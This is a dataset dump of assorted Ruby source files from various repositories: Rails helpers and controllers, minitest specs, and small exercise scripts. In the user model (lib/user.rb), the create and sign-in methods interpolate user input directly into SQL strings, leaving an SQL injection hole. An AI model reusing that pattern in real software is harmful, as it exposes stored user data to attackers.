blob_id
stringlengths
40
40
language
stringclasses
1 value
repo_name
stringlengths
4
137
path
stringlengths
2
355
src_encoding
stringclasses
31 values
length_bytes
int64
11
3.9M
score
float64
2.52
5.47
int_score
int64
3
5
detected_licenses
listlengths
0
49
license_type
stringclasses
2 values
text
stringlengths
11
3.93M
download_success
bool
1 class
a7bad44da4950c15b29d933635761c230e25f43f
Ruby
stevecreedon/retify-admin
/app/helpers/html_helper.rb
UTF-8
2,083
2.53125
3
[]
no_license
module HtmlHelper def love_form_helper(form, opts={}) HtmlHelper::LoveFormHelper.new(self, form, opts) end class LoveFormHelper def initialize(controller, form, opts={}) @form = form @model = form.object @controller = controller @opts = {class: 'input-xlarge'}.merge(opts) end def control_group(*args) opts = {input_type: :text_field, help_text: nil, value: nil, input: {}, select:{}, add_on: nil, help: nil} main = [] #extract the part of our args that is a symbol e.g. :text_field or :text_area while((arg = args.slice!(0)).is_a?(Symbol)) main << arg end #if we have some of these symbol args then merge them into the main opts case main.size when 1 then zipped = [:field].zip(main) opts.merge!(Hash[zipped]) when 2 then zipped = [:input_type, :field].zip(main) opts.merge!(Hash[zipped]) end #if we still have a hash then merge it into our options if arg.is_a?(Hash) opts.merge!(arg) end opts[:label] = label(opts[:field]) unless opts[:label] opts[:help] = help_partial(opts[:field]) if help_exists?(opts[:field]) opts[:input][:class] = @opts[:class] unless opts[:input][:class] @controller.render :template => 'widgets/_control_group', :locals => opts.merge(:form => @form, :model => @model) end def label(field) field.to_s.capitalize.gsub("_"," ") end def help_subfolder @model.class.name.downcase.gsub("decorator","") end def help_exists?(field) partial_path = help_template(field) @controller.view_paths.each do |path| return true if File.exists?(File.join(path, partial_path)) end false end def help_partial(field) "help/#{help_subfolder}/#{field}" end def help_template(field) File.join("help", help_subfolder, "_#{field}.html.erb") end end def form_box h2, &block render(:layout => 'widgets/box', :locals => {h2: h2}) do block.call end end end
true
723a2e6a200806f6a3acec389c3885a6efaee1fd
Ruby
stevefaeembra/week_02_day_5
/spec/venue_spec.rb
UTF-8
2,493
3.359375
3
[]
no_license
require("minitest/autorun") require("minitest/rg") require_relative("../venue") require_relative("../room") require_relative("../group") class TestVenue < MiniTest::Test def setup @venue = Venue.new("The Hairbrush and Mirror", 1000.0) end def test_venue__exists assert_equal(Venue,@venue.class) end def test_venue__takings_start_value skip "Venue.Takings made private, skipping" assert_equal(1000.0, @venue.takings) end def test_venue__name_set assert_equal("The Hairbrush and Mirror", @venue.name) end def test_venue__no_rooms skip "Venue.Rooms made private, skipping" assert_equal([], @venue.rooms) end def test_venue__add_rooms room1=Room.new("Kylie Minogue Room", 20) room2=Room.new("Come on Barbie lets go party",15) room3=Room.new("Crooner Classics",10) room4=Room.new("Spice Girls Room",12) rooms=[room1,room2,room3,room4] @venue.add_rooms(rooms) assert_equal(rooms, @venue.rooms) end def test_venue__takings_go_up skip "Venue.takings made private, skipping" @venue.increase_takings(140.0) assert_equal(1140.0, @venue.takings) end def test_get_room__price room1=Room.new("Kylie Minogue Room", 20) @venue.add_rooms([room1]) cost = @venue.get_room_price(room1) assert_equal(200.0, cost) end def test_room__fill_with_group_can_afford room1=Room.new("Kylie Minogue Room", 20) @venue.add_rooms([room1]) # make group of 20 with £15 each. group1 = make_test_group("TestGroup-20",20,15.0) @venue.add_group_to_room(group1,room1) assert_equal(group1.members, room1.customers) # all customers should now have 5.0 (20 person room=£200, £10 each) assert_equal(true, group1.members.all? {|p| p.funds==5.0}) # venue should now have £1000+£200 assert_equal(1200.0, @venue.takings) end def test_room__fill_with_group_cant_afford room1=Room.new("Kylie Minogue Room", 20) @venue.add_rooms([room1]) # make group of 20 with £15 each. group1 = make_test_group("TestGroup-20-poor",20,5.0) assert_equal(false,@venue.add_group_to_room(group1,room1)) end def test_room__fill_with_group_room__room_too_small room1=Room.new("Kylie Minogue Room", 10) @venue.add_rooms([room1]) # make group of 20 with £15 each. group1 = make_test_group("TestGroup-20-poor",20,125.0) assert_equal(false,@venue.add_group_to_room(group1,room1)) assert_equal(0, @venue.rooms[0].customers.length) end end
true
fc0fcd8b763b89b98f9504b0e40ae875853c351a
Ruby
stogashi146/dmm-2
/lesson7-1.rb
UTF-8
208
3.65625
4
[]
no_license
puts "計算を始めます" puts "2つの値を入力してください" a = gets b = gets answer = a.to_i * b.to_i puts "計算結果を出力します" puts "a*b=#{answer}" puts "計算を終了します"
true
a099a7af6a799ed09386b104b177e6bbabdeebc5
Ruby
Seva-Sh/RB130
/exercises/easy_1/3_missing_array.rb
UTF-8
788
3.96875
4
[]
no_license
# - Iterate over numbers # - start num first element in the array # - end num last element in the array # - iterate over each number adding 1 every iteration # - check if current number is included in the given array? # - if it it, go to the next, # - if it is not, add current number to a new array def missing(arr) new_arr = [] return new_arr if arr.size == 1 arr[0].upto(arr[-1]) do |num| new_arr << num if !arr.include?(num) end new_arr end #LS def missing(arr) arr2 = [] arr.each_cons(2) do |num1, num2| arr2.concat(((num1 + 1)..(num2 - 1)).to_a) end arr2 end def missing(arr) (arr[0]..arr[-1]).to_a #- arr end p missing([-3, -2, 1, 5]) == [-1, 0, 2, 3, 4] p missing([1, 2, 3, 4]) == [] p missing([1, 5]) == [2, 3, 4] p missing([6]) == []
true
c3239314ee04e59eefa506e61ccd3b4632eee8ca
Ruby
enowmbi/algorithms
/array_partition_1.rb
UTF-8
253
3.515625
4
[]
no_license
def array_partition(arr) arr = arr.sort! sum = 0 arr.each_with_index do |item,index| if index % 2 == 0 #getting the elements at the indices which are even, will be the minimum since array is 2n sum += item end end return sum end
true
7abb06fd65a664a140284a79d323f05137ff9cf7
Ruby
andygeek/my-blog-rails
/app/controllers/posts_controller.rb
UTF-8
3,692
2.703125
3
[]
no_license
class PostsController < ApplicationController # Sirve para ejecutar una accion antes de entrar al controlador # Cuando creamos una accion que puede modificar el comportamiento de un request usamos el ! # Aqui lo usamos en el authenticate_user. # y luego usamos el only para decir que solo debe ser ejecutado antes de un create y un update # Esto lo implementaremos al finla before_action :authenticate_user!, only: [:create, :update] # OJO: Le puse el show para que la prueba de show siempre pase, la otra serie haciendo que su published siempre sea true # Manejo de excepciones en rails # Despues de rescue_from usa el valor que obtienes en la consola luego de ejecutar rspec # o cualquier otra excepcion que quieras validar # El orden en el que se colocan las excepciones es muy importante # el que está más abajo tiene mayor prioridad, es decir si Exception estaria más abajo # este tendria prioridad dobre un ActiveRecord que encuentre rescue_from Exception do |e| # log.error "#{e.message}" En produccion tendriamos esto render json: {error: e.message}, status: :internal_error end # Si te sale que no se reconoce el status code, es porque la excepcion lo la reconoce # en caso de que te devuelva un ActiveRecord::RecordNotFound esta nos e reconoce, por loq ue debemos agregar una excepcion rescue_from ActiveRecord::RecordNotFound do |e| render json: {error: e.message}, status: :not_found end rescue_from ActiveRecord::RecordInvalid do |e| render json: {error: e.message}, status: :unprocessable_entity end # GET /post def index @posts = Post.where(published: true) if !params[:search].nil? && params[:search].present? @posts = PostsSearchService.search(@posts, params[:search]) end render json: @posts, status: :ok end # GET /post/{id} def show @post = Post.find(params[:id]) # Aqui debemos verificar que el post es publico # y si no es publico debemos verificar que el usuario esta authenticado if ( @post.published? || (Current.user && @post.user_id == Current.user.id) ) render json: @post, status: :ok else render json: {error: 'Not Found'}, status: :not_found end end # POST /posts def create # Esto hace que el post pertenezca al usuario que se authentico @post = Current.user.posts.create!(create_params) render json: @post, status: :ok end # PUT /posts/{id} def update # Esto hace que el post a modificar pertenezca a ese usuario @post = Current.user.posts.find(params[:id]) @post.update!(update_params) render json: @post, status: :ok end # En rails se tiene que implementar los parametros que recibirán las rutas # de la siguiente manera private def create_params params.require(:post).permit(:title, :content, :published, :id) end def update_params params.require(:post).permit(:title, :content, :published) end def authenticate_user! # Bearer xxxx token_regex = /Bearer (\w+)/ # leer header de auth headers = request.headers # verificar que sea valido if headers['Authorization'].present? && headers['Authorization'].match(token_regex) token = headers['Authorization'].match(token_regex)[1] # devemos verificar que corresponda a un usuario # en ruby toda variable tiene en valor truthy y falsy # la siguiente expresion si se puede verificar # Current nos ayuda a guardar el usuario para que sea accesible en cualquier contexto de la app if( Current.user = User.find_by_auth_token(token) ) return end end render json: {error: 'Unauthorized'}, status: :unauthorized end end
true
a3ea27e8729671452956100e8ea0c5fdc0d3a1dc
Ruby
sofiamay/test-first-ruby
/lib/01_temperature.rb
UTF-8
130
3.84375
4
[]
no_license
#Fahrenheit to Celsius def ftoc(temp) (temp - 32) * (5.0/9) end #Celsius to Fahrenheit def ctof(temp) temp * (9.0/5) + 32 end
true
dfda377005f79b3c1278505fb0deaf1dab8e6288
Ruby
jaw09/algorithm_for_practice
/ruby/move_zeros.rb
UTF-8
224
3.453125
3
[]
no_license
def move_zeroes(nums) num_of_zeroes = 0 new_array = [] nums.each do |n| if n == 0 num_of_zeroes += 1 else new_array.push n end end for i in 0..num_of_zeroes new_array.push 0 end end
true
556cfc1ed155eb1c0007b8580a3215f70a0652aa
Ruby
yangxin1994/yangxin
/app/models/issue_related/text_blank_issue.rb
UTF-8
1,286
3.21875
3
[]
no_license
require 'error_enum' require 'securerandom' #Besides the fields that all types questions have, text blank questions also have: # { # "min_length" : minimal length of the input text(Integer) # "max_length" : maximal length of the input text(Integer) # "has_multiple_line" : whether has multiple lines to input(Boolean) # "size" : size of the input, can be 0(small), 1(middle), 2(big) # } class TextBlankIssue < Issue attr_reader :min_length, :max_length, :has_multiple_line, :size attr_writer :min_length, :max_length, :has_multiple_line, :size ATTR_NAME_ARY = %w[min_length max_length has_multiple_line size] CHAR_PER_SECOND = 5 def initialize @min_length = 1 @max_length = 10 @has_multiple_line = false @size = 0 end def update_issue(issue_obj) issue_obj["min_length"] = issue_obj["min_length"].to_i issue_obj["max_length"] = issue_obj["max_length"].to_i issue_obj["size"] = issue_obj["size"].to_i issue_obj["has_multiple_line"] = (issue_obj["has_multiple_line"].to_s == "true") super(ATTR_NAME_ARY, issue_obj) end def estimate_answer_time answer_length = self.min_length.blank? ? 1 : self.min_length return (min_length / CHAR_PER_SECOND).ceil end def serialize super(ATTR_NAME_ARY) end end
true
456acd6a78bbb7a32a1ddd1babe4bb6ff7f1e1d9
Ruby
quangdung92/rails2
/app/models/book.rb
UTF-8
1,656
2.6875
3
[]
no_license
class Book < ActiveRecord::Base belongs_to :location belongs_to :genre belongs_to :shop belongs_to :publisher attr_accessible :author, :book_name, :final_purchase, :final_sale, :inventory_number, :jan, :nation_sale, :price, :sale_number, :publisher_id, :shop_id, :genre_id, :location_id, :publish_date validates :book_name, :shop_id, :location_id, :publisher_id, :presence => true require 'csv' def self.import(file) CSV.foreach(file.path, headers: true) do |row| shop = Shop.find_by_shop_no(row[8]) location = Location.find_by_location_name_and_shop_id(row[0],shop.id) publisher = Publisher.find_by_publisher_name_and_shop_id(row[5], shop.id) genre = Genre.find_by_genre_name_and_shop_id(row[1],shop.id) if genre == nil @gen = nil logger.debug "nil" else @gen = genre.id end book = Book.create!(:book_name => row[3], :location_id => location.id, :publisher_id => publisher.id, :shop_id => shop.id, :genre_id => @gen, :jan =>row[2] ,:author => row[4], :publish_date => row[6], :price => row[7],:final_purchase => row[10], :final_sale => row[11], :sale_number => row[12], :inventory_number => row[13], :nation_sale => row[14]) logger.debug "genre :#{book.genre_id}" logger.debug "location :#{book.location_id}" logger.debug "shop :#{book.shop_id}" logger.debug "name :#{book.book_name}" logger.debug "jan :#{book.jan}" logger.debug "price :#{book.price}" end end end
true
25f110b8f125f365c77a206a7c68986c9c12243c
Ruby
benjimon24/stockportfolio
/app/models/portfolio.rb
UTF-8
589
2.984375
3
[]
no_license
class Portfolio < ApplicationRecord belongs_to :user has_many :stocks, dependent: :destroy validates :name, presence: true #validates :name, uniqueness: {scope: :user_id, message: "Portfolio with the name already exists!"} def current_value self.stocks.inject(0) {|total, stock| total += stock.current_value} end def cost_basis self.stocks.inject(0) {|total, stock| total += stock.cost_basis} end def net_profit self.stocks.inject(0) {|total, stock| total += stock.net_profit} end def percent_change self.net_profit / self.cost_basis end end
true
3450025a254d3cd6fd0648098f6b4604fc7dbefc
Ruby
jackmcc08/makershnd
/lib/user.rb
UTF-8
1,175
3.171875
3
[]
no_license
require_relative 'database_connection' require 'bcrypt' class User attr_reader :id, :email, :password, :name, :username def initialize(id, email, password, name, username) @id = id @email = email @password = password @name = name @username = username end def self.create(email, password, name, username) encrypt_pwd = BCrypt::Password.create(password) sql = "INSERT INTO users (email, password, name, username) VALUES ('#{email}', '#{encrypt_pwd}', '#{name}', '#{username}') RETURNING id, email, password, name, username;" begin result = DatabaseConnection.query(sql).first User.new(result["id"], result["email"], result["password"], result["name"], result["username"]) rescue StandardError => e p e return end end def self.sign_in(email, password) sql = "SELECT * FROM users WHERE email='#{email}'" result = DatabaseConnection.query(sql) return unless result.any? return unless BCrypt::Password.new(result[0]['password']) == password User.new(result[0]["id"], result[0]["email"], result[0]["password"], result[0]["name"], result[0]["username"]) end end
true
69ab6780b24eae1d9cf28384840201b6d7ebf114
Ruby
mgborgman/intro_to_programming
/ch3_methods/exercise1.rb
UTF-8
85
3.453125
3
[]
no_license
def greeting(name) "Hey #{name}! Glad you could be here." end puts greeting("Matt")
true
5529f6a64fe1a7994162ddff2d2048d8ba92d6c9
Ruby
andrustory/cartoon-collections-online-web-pt-061019
/cartoon_collections.rb
UTF-8
442
3.40625
3
[ "LicenseRef-scancode-public-domain", "LicenseRef-scancode-unknown-license-reference" ]
permissive
def roll_call_dwarves (array) array.each_with_index do |item, index| puts "#{index + 1}. #{item}" end end def summon_captain_planet (array) array.map do |item| "#{item.capitalize}!" end end def long_planeteer_calls (array) array.any? do |call| call.length > 4 end end def find_the_cheese (array) cheese_types = ["cheddar", "gouda", "camembert"] array.find do |item| cheese_types.include? (item) end end
true
886aa2c2a20e8d2dd75175185217489ce71fac6a
Ruby
freddyfallon/lrthw
/chap37/ex37_break.rb
UTF-8
117
3.640625
4
[]
no_license
[1,2,3].each do |i| puts i # will break out of a loop if a condition is given or immediately break if i == 2 end
true
0ce0ecf9ec2ad521e53e63d3ce2810fc153106b6
Ruby
Ashley-Wright/unit2_apt_hunt
/apt_hunter
UTF-8
2,999
3.125
3
[]
no_license
#!/usr/bin/env ruby require_relative 'lib/environment' require_relative 'models/apartment_complex' require_relative 'models/apartment' require_relative 'lib/argument_parser' class ApartmentHunter attr_reader :options def initialize @options = Parser.parse @options[:command] = ARGV[0] @options[:table] = ARGV[1] Environment.environment = @options[:environment] || "production" @options.delete(:environment) end def main Environment.connect_to_database if options[:table] == 'complex' self.complex elsif options[:table] == 'apartment' self.apartment end end def complex command = options.delete(:command) if command == 'create' error_message = ApartmentComplex.validate(options) if error_message.nil? complex = ApartmentComplex.new(name: options[:name], zip: options[:zip], parking: options[:parking], website: options[:website], phone: options[:phone]) complex.save puts "Complex #{options[:name]} was created." else puts error_message end elsif command == 'view' puts ApartmentComplex.all elsif command == "edit" if complex = ApartmentComplex.find_by(id: options[:id]) complex.update(name: options[:name], zip: options[:zip], parking: options[:parking], website: options[:website], phone: options[:phone]) puts "Complex #{complex.id} was updated." puts complex.to_s else puts "Complex #{options[:id]} does not exist." end end end def apartment command = options.delete(:command) if command == 'create' error_message = Apartment.validate(options) if error_message.nil? complex = ApartmentComplex.find_by(name: options[:complex]) if complex.nil? puts "#{options[:complex]} complex does not exist." else apartment = Apartment.new(rent: options[:rent], size: options[:size], bedrooms: options[:bedrooms], bathrooms: options[:bathrooms], apartmentapartmentcomplex_id: complex.id) apartment.save puts "Apartment was created." puts apartment end else puts error_message end elsif command == 'edit' if apartment = Apartment.find_by(id: options[:id]) apartment.update(rent: options[:rent], size: options[:size], bedrooms: options[:bedrooms], bathrooms: options[:bathrooms]) puts "Apartment #{options[:id]} was updated." puts apartment.to_s else puts "Apartment #{options[:id]} does not exist." end elsif command == 'delete' Apartment.delete(options[:id]) puts "Apartment #{options[:id]} was deleted." elsif command == 'view' puts Apartment.all elsif command == 'filter' puts Apartment.where(rent: options[:min]..options[:max]) # puts Apartment.filter(options[:min], options[:max], options[:sort]) end end end apartmenthunter = ApartmentHunter.new() apartmenthunter.main()
true
3fbf1ba02cf6aa4514e005b074dacda7f66f9af2
Ruby
Maxscores/enigma
/test/decryptor_test.rb
UTF-8
1,639
3
3
[]
no_license
require_relative 'test_helper' class DecryptorTest < Minitest::Test def test_class_initializes decryptor = Decryptor.new() assert_instance_of Decryptor, decryptor end def test_initializes_with_characters decryptor = Decryptor.new() assert_instance_of Hash, decryptor.characters end def test_format_message_works decryptor = Decryptor.new() message = "hello" output = [7, 4, 11, 11, 14] assert_equal output, decryptor.format_message(message) end def test_decrypt_characters decryptor = Decryptor.new() character_values = [23, 29, 15, 27, 30, 23, 26, 30, 33, 36, 7] offset = [16, 25, 42, 54] decrypted_message = decryptor.decrypt_characters(character_values, offset) assert_equal "hello world", decrypted_message.join end def test_decrypt_integration decryptor = Decryptor.new() encrypted_message = "x4p25x158 h" key = '12345' date = Date.new(2017, 10, 14) message = decryptor.decrypt(encrypted_message, key, date) assert_equal "hello world", message end def test_decrypt_file decryptor = Decryptor.new() decrypted_message = decryptor.decrypt_file('data/test_decryption.txt', '12345', '141017') assert_equal "hello world", decrypted_message end def test_write_file decryptor = Decryptor.new() decryptor.write_file('data/test_write_file.txt', 'test text here') file = File.open('data/test_write_file.txt', 'r') file_text = file.read file.close assert_equal 'test text here', file_text end end
true
d1c89c10cb090194eba9e8f1be18adc6ff1cbfcc
Ruby
josfervi/ruby_playground
/00-Before_first_coding_interview/00-practice_problems--prompts_and_solutions/solutions-MINE/04-time-conversion.rb
UTF-8
1,002
4.25
4
[]
no_license
# Write a method that will take in a number of minutes, and returns a # string that formats the number into `hours:minutes`. # # Difficulty: easy. # FUTURE FEATURE: could add a.m. , p.m. for good measure def time_conversion(minutes) # --minute string- right justify to a mininum? of 2 chars, pad with "0"s if necessary # ---hour--- --minute-- return ((minutes/60)%12).to_s + ":" + (minutes%60).to_s.rjust(2, "0") # minute string must always be two digits long # ^^^ # ||| # %12 for non-military time end # These are tests to check that your code is working. After writing # your solution, they should all print true. puts('time_conversion(15) == "0:15": ' + (time_conversion(15) == '0:15').to_s) puts('time_conversion(150) == "2:30": ' + (time_conversion(150) == '2:30').to_s) puts('time_conversion(360) == "6:00": ' + (time_conversion(360) == '6:00').to_s)
true
02a9dbaa949ac322ea4e1cc9d74e9792bc7e7e24
Ruby
victorskurihin/ruby
/stepic.org/Discrete_Math/Dainiak/1.8/Step_12/Step_12.rb
UTF-8
2,450
2.984375
3
[]
no_license
#!/usr/bin/env ruby # -*- coding: utf-8 -*- ################################################################################ # $Date$ # $Id$ # $Version: 0.1$ # $Revision: 8$ # $Author: Victor |Stalker| Skurikhin <stalker@quake.ru>$ ################################################################################ # Сколькими способами можно разложить a одинаковых шаров по b различным ящикам, # так, чтобы в каждом ящике было хотя бы по два шара? # (Предполагается, что a >= 2*b.) # Подсказка: вспомните, как считали сочетания с повторениями. # # Перевернул задачу с ног на голову. Ящики - суть элементы, количество шаров в # них - вес, либо для аналогии, сколько ящик повторится :). Порядок ящиков не # важен, значит дело имеем с сочетанием. Мы знаем, что в ящике должно лежать # минимум 2 шара, значит из общего количества шаров можем убрать 2⋅b шаров. # При этом получается k-сочетание, где в каждом ящике может дополнительно # лежать от 0 до k шаров, при этом k=a−2⋅b. Элементы в сочетании - ящики, при # этом n=b. Выход, что всего комбинаций: # n = b, k = a - 2*b # CC(a - 2*b, b) = C(a - 2*b, b + a - 2*b - 1) # C(a - 2*b, a - b - 1)= binomial(a - b - 1, a - 2*b) class Integer def fact (1..self).reduce(:*) || 1 end end # k-размещений с повторениями: Ā(k, n) = n**k # <=> n-размещений из k Ā(n, k) = Āⁿₖ = kⁿ # k-размещений с без повторений: A(k, n) = n!/(n-k)! def A(k, n) return nil if n < 0 or k < 0 or n < k n.fact/(n-k).fact end # k-сочетаний без повторений: C(k, n) = n!/((n-k)!∙k!) def C(k, n) return nil if n < 0 or k < 0 or n < k n.fact/((n-k).fact*k.fact) end def CC(k ,n) C(k, n+k-1) end p 9*10**9-9*9.fact __END__ ################################################################################ # vim: syntax=ruby:fileencoding=utf-8:fileformat=unix:tw=78:ts=2:sw=2:sts=2:et # EOF
true
b89b56a4a7d837c231c3186f043ce710c027d881
Ruby
jollopre/bambooing
/spec/bambooing/timesheet/clock/entry_spec.rb
UTF-8
2,591
2.53125
3
[ "MIT" ]
permissive
require 'spec_helper' require 'support/configuration_shared_context' RSpec.describe Bambooing::Timesheet::Clock::Entry do include_context 'configuration' let(:date) { Date.new(2019,05,25) } let(:start) { Time.new(date.year, date.month, date.day, 8, 30) } let(:_end) { Time.new(date.year, date.month, date.day, 13, 30) } let(:entry) do { id: 1, tracking_id: 1, employee_id: 1, date: date, start: start, end: _end, note: 'a note' } end describe '.initialize' do it 'instantiates an entry object' do result = described_class.new(entry) expect(result.id).to eq(1) expect(result.tracking_id).to eq(1) expect(result.employee_id).to eq(1) expect(result.date).to eq(date) expect(result.start).to eq(start) expect(result.end).to eq(_end) expect(result.note).to eq('a note') end end describe '#to_json' do it 'returns stringyfied json' do an_entry = described_class.new(entry) result = an_entry.to_json expect(result).to eq('{"id":1,"trackingId":1,"employeeId":1,"date":"2019-05-25","start":"08:30","end":"13:30","note":"a note"}') end end describe '#to_h' do it 'returns hash' do an_entry = described_class.new(entry) result = an_entry.to_h expect(result).to eq({ id: 1, trackingId: 1, employeeId: 1, date: '2019-05-25', start: '08:30', end: '13:30', note: 'a note' }) end end describe '.save' do let(:entry) do described_class.new(date: date, start: start, end: _end) end context 'when an entry is received' do it 'saves it' do allow(Bambooing::Client).to receive(:post).with(path: '/timesheet/clock/entries', params: { entries: [entry.to_h] }, headers: {}) result = described_class.save(entry) expect(result).to eq(true) end context 'when an error is raised' do context 'since there is a client error' do it 'returns false' do allow(Bambooing::Client).to receive(:post).and_raise(Bambooing::Client::ClientError) result = described_class.save(entry) expect(result).to eq(false) end end end end context 'when multiple entries are received' do let(:entries) { [entry] } it 'saves them' do hashed_entries = entries.map(&:to_h) allow(Bambooing::Client).to receive(:post).with(path: '/timesheet/clock/entries', params: { entries: hashed_entries }, headers: {}) result = described_class.save(entries) expect(result).to eq(true) end end end end
true
cc27f57a5f75cb377839cc95efccda25bbfc2a97
Ruby
kgoettling/intro_to_programming
/ch9_more_Stuff/ex5_error_message.rb
UTF-8
380
3.921875
4
[]
no_license
# Why does the following code give us an error message when we run it? #def execute(block) # block.call #end #execute { puts "Hello from inside the execute method!" } #A: The variable parameter 'block' does not have an '&' in # front of it, so it is not a block object. It is just # a regular variable, so when you try to pass a block into # it, it can't take the block.
true
be6d3b692f98e9c2e3f1bfe9a336092254ea4d7b
Ruby
aubreymasten/trace_italian
/app/models/scene.rb
UTF-8
608
2.640625
3
[ "MIT" ]
permissive
class Scene < ApplicationRecord belongs_to :story, foreign_key: :story_id, optional: true has_many :choices, dependent: :destroy validates :title, :text, presence: true def get_desc (length) if self.text.length <= length self.text else self.text.slice(0,length-1).chomp(".").concat('...') end end def get_choices (count) if self.choices.count <= count self.choices else self.choices.limit(count) end end def toggle_endgame self.update_attribute :endgame, !self.endgame end def self.title_by_id(id) self.find(id).title end end
true
47a271614bb5d9c0238091062f6038776b83385b
Ruby
umd-lib/annual-staffing-request
/test/models/fiscal_year_test.rb
UTF-8
630
2.625
3
[]
no_license
# frozen_string_literal: true require 'test_helper' # Tests for the "User" model class FiscalYearTest < ActiveSupport::TestCase def format_fy(year) "FY#{year.to_s.match(/\d\d$/)}" end def setup @year = Time.zone.today.financial_year end test 'should return the correct values' do assert_equal FiscalYear.current_year, @year assert_equal FiscalYear.current, format_fy(@year) assert_equal FiscalYear.next_year, @year + 1 assert_equal FiscalYear.next, format_fy(@year + 1) assert_equal FiscalYear.previous_year, @year - 1 assert_equal FiscalYear.previous, format_fy(@year - 1) end end
true
578a558b951d1002122d490f1919e47910b9de33
Ruby
QNester/hey-you
/lib/hey_you/builder/email.rb
UTF-8
1,212
2.578125
3
[]
no_license
require_relative '_base' module HeyYou class Builder class Email < Base attr_reader :subject, :body, :layout, :mailer_class, :mailer_method, :delivery_method, :body_parts def build @mailer_class = ch_data.fetch('mailer_class', nil) @mailer_method = ch_data.fetch('mailer_method', nil) @delivery_method = ch_data.fetch('delivery_method', nil) @body = interpolate(ch_data['body'], options) if ch_data['body'] @body_parts = interpolate_each(ch_data.fetch('body_parts', nil)&.deep_dup, options) @subject = interpolate(ch_data.fetch('subject'), options) end def to_hash { body: body, subject: subject, body_parts: body_parts } end private def interpolate_each(notification_hash, options) return notification_hash unless notification_hash.is_a?(Hash) notification_hash.each do |k, v| next interpolate_each(v, options) if v.is_a?(Hash) begin notification_hash[k] = v % options rescue KeyError => err raise InterpolationError, "Failed build notification string `#{v}`: #{err.message}" end end end end end end
true
a12e7cb858cb6ef55b55347a4199ad1792a79edd
Ruby
doudou/flexmock
/lib/flexmock/deprecated_methods.rb
UTF-8
1,849
2.53125
3
[ "MIT" ]
permissive
#!/usr/bin/env ruby #--- # Copyright 2003-2013 by Jim Weirich (jim.weirich@gmail.com). # All rights reserved. # # Permission is granted for use, copying, modification, distribution, # and distribution of modified versions of this work as long as the # above copyright notice is included. #+++ class Module def flexmock_deprecate(*method_names) method_names.each do |method_name| eval_line = __LINE__ + 1 module_eval %{ def #{method_name}(*args) $stderr.puts "#{method_name} is deprecated, use flex#{method_name} instead" flex#{method_name}(*args) end }, __FILE__, eval_line end end end # Deprecated Methods # ================== # # The following methods are no longer supported in FlexMock. Include # this file for legacy applications. # class FlexMock # Handle all messages denoted by +sym+ by calling the given block # and passing any parameters to the block. If we know exactly how # many calls are to be made to a particular method, we may check # that by passing in the number of expected calls as a second # paramter. def mock_handle(sym, expected_count=nil, &block) # :nodoc: $stderr.puts "mock_handle is deprecated, " + "use the new should_receive interface instead." self.should_receive(sym).times(expected_count).returns(&block) end flexmock_deprecate :mock_verify, :mock_teardown, :mock_wrap class PartialMockProxy MOCK_METHODS << :any_instance # any_instance is present for backwards compatibility with version 0.5.0. # @deprecated def any_instance(&block) $stderr.puts "any_instance is deprecated, use new_instances instead." new_instances(&block) end end module Ordering flexmock_deprecate( :mock_allocate_order, :mock_groups, :mock_current_order, :mock_validate_order) end end
true
0e9cacf41ec442c166c41dc37d25f1050456ee93
Ruby
cielavenir/procon
/yukicoder/tyama_yukicoder1335.rb
UTF-8
45
2.796875
3
[ "0BSD" ]
permissive
#!/usr/bin/ruby s=gets;puts gets.tr('0-9',s)
true
1e09cde8b0c1fe0efae3193b117fad7f0c47cc84
Ruby
sakane133/activerecord-tvland-dc-web-062419
/app/models/actor.rb
UTF-8
419
2.859375
3
[ "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-public-domain" ]
permissive
class Actor < ActiveRecord::Base has_many :characters has_many :shows, through: :characters def full_name "#{self.first_name} #{self.last_name}" end # Write a method in the `Actor` class, `#list_roles`, # that lists all of the characters that actor has. def list_roles self.characters.map do |char| "#{char.name} - #{char.show.name}" end end end
true
fea20899e4d3601044371991e02fe774bb7f8bb7
Ruby
sinefunc/proton
/lib/proton/cacheable.rb
UTF-8
895
2.640625
3
[ "MIT" ]
permissive
class Proton # Module: Cache module Cacheable def self.enable! @enabled = true end def self.disable! @enabled = false end def self.enabled?() !! @enabled end # Enable by default enable! def self.cache(*args) if enabled? @cache ||= Hash.new args = args.map { |s| s.to_s }.join('-') @cache[args] ||= yield else yield end end def cache_method(*methods) methods.each do |method| alias_method :"real_#{method}", method class_eval do define_method(method) { |*args| id = nil id ||= self.file if respond_to?(:file) id ||= self.to_s Cacheable.cache self.class, method, id, args do send :"real_#{method}", *args end } end end end end end
true
93ed022ce2881934163a5c14230f721f9da7f931
Ruby
holywyvern/carbuncle
/gems/carbuncle-doc-ext/mrblib/array.rb
UTF-8
269
3.96875
4
[ "Apache-2.0" ]
permissive
# An Array represents a list of items in sequence. # To create new arrays usually you use it from literals. # @example # my_list = [1, 2, 3] # my_list is an Array of 3 elements # my_list[0] # => 1 Arrays start from 0. # my_list.first # => also 1. class Array end
true
77e362458aa378973b0d005a5f020ff47d9e3635
Ruby
kyungbaek/euler_solutions
/1-20/problem2.rb
UTF-8
192
3.71875
4
[]
no_license
sum = 0 def fib(n, mem = {}) if n == 0 || n == 1 return n end mem[n] = fib(n-1, mem) + fib(n-2, mem) end 34.times do |x| if fib(x) % 2 == 0 sum += fib(x) end end print sum
true
46f64a2a13459f480136db5d14c79a3881cebdb4
Ruby
dcantoran/ruby-advanced-class-methods-lab-online-web-sp-000
/lib/song.rb
UTF-8
1,361
3.359375
3
[ "LicenseRef-scancode-public-domain", "LicenseRef-scancode-unknown-license-reference" ]
permissive
require 'pry' class Song attr_accessor :name, :artist_name @@all = [] def self.create song = self.new song.save song end def self.new_by_name(song_name) song = self.new song.name = song_name song end def self.create_by_name(song_name) song = self.create song.name = song_name song end def self.find_by_name(song_name) @@all.find do |song| song.name == song_name end end def self.find_or_create_by_name(name_str) find_by_name(name_str) || create_by_name(name_str) end def self.alphabetical @@all.sort_by do |song| song.name end end def self.new_from_filename(str) str_format = str.split(".")[-1] if str_format == "mp3" song = self.new song.artist_name = str.split("-")[0].strip song.name = str.split("-")[1].chomp(".mp3").strip song.save song # binding.pry end end def self.create_from_filename(str) str_format = str.split(".")[-1] if str_format == "mp3" song = self.create song.artist_name = str.split("-")[0].strip song.name = str.split("-")[1].chomp(".mp3").strip song # binding.pry end end def self.all @@all end def save self.class.all << self end def self.destroy_all @@all.clear end end
true
b78bc110095c0626325217fdf12a915716d7c56b
Ruby
Hidayat-rivai/ruby_read
/getchar.rb
UTF-8
75
2.640625
3
[]
no_license
s = $stdin.getc(); puts s puts "jumlah #{s.length}" puts "kelas #{s.class}"
true
